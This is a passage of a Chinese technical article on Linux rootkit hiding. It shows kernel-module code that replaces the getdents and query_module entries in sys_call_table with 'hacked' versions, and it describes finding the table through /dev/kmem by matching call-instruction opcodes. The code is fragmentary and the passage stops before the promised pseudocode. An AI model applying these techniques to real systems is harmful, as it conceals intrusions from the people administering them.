Linux操作系统下的高级隐藏技术详解

时间:2007-07-31 09:19:17  来源:赛迪网  作者:sixth


  2.4 修改系统调用的方法

  现在已经解决了如何修改系统调用来达到隐藏的目的,那么如何用修改后的系统调用来替换原来的呢?这个问题在实际应用中往往是最关键的,下面将讨论在不同的情况下如何做到这一点。

  (1)当系统导出sys_call_table,并且支持动态的插入模块的情况下:

  在Linux内核2.4.18版以前,这种内核配置是非常普遍的。这种情况下修改系统调用非常容易,只需要修改相应的sys_call_table表项,使其指向新的系统调用即可。下面是相应的代码:

  int orig_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

   int init_module(void) 

    /*初始化模块*/

     {

     orig_getdents=sys_call_table[SYS_getdents];    //保存原来的系统调用

     orig_query_module=sys_call_table[SYS_query_module]

     sys_call_table[SYS_getdents]=hacked_getdents;  //设置新的系统调用

     sys_call_table[SYS_query_module]=hacked_query_module;

     return 0; //返回0表示成功

     }

     void cleanup_module(void)

     /*卸载模块*/

     {

     sys_call_table[SYS_getdents]=orig_getdents;    //恢复原来的系统调用

     sys_call_table[SYS_query_module]=orig_query_module;

     }

  (2)在系统并不导出sys_call_table的情况下:

  linux内核在2.4.18以后为了安全起见不再导出sys_call_table符号,从而无法直接获得系统调用表的地址,那么就必须找到其他的办法来得到这个地址。在背景知识中提到了/dev/kmem是系统主存的映像,可以通过查询该文件来找到sys_call_table的地址,并对其进行修改,来使用新的系统调用。那么如何在系统映像中找到sys_call_table的地址呢?让我们先看看system_call的源代码是如何来实现系统调用的(代码见/arch/i386/kernel/entry.S):

  ENTRY(system_call)

     pushl %eax      # save orig_eax

     SAVE_ALL

     GET_CURRENT(%ebx)

     cmpl $(NR_syscalls),%eax

     jae badsys

     testb $0x02,tsk_ptrace(%ebx)  # PT_TRACESYS

     jne tracesys

     call *SYMBOL_NAME(sys_call_table)(,%eax,4)

     movl %eax,EAX(%esp)    # save the return value

  ENTRY(ret_from_sys_call)

  这段源代码首先保存相应的寄存器的值,然后判断系统调用号(在eax寄存器中)是否合法,继而对设置调试的情况进行处理,在所有这些进行完后,利用call *SYMBOL_NAME(sys_call_table)(,%eax,4) 来转入相应的系统调用进行处理,其中的SYMBOL_NAME(sys_call_table)得出的就是sys_call_table的地址。从上面的分析可以看出,当找到system_call函数之后,利用字符匹配来寻找相应call语句就可以确定sys_call_table的位置,因为call something(,%eax,4)的机器指令码是0xff 0x14 0x85。所以匹配这个指令码就行了。至于如何确定system_call的地址在背景知识中已经介绍了,下面给出相应的伪代码:

文章评论

共有 位CH网友发表了评论 查看完整内容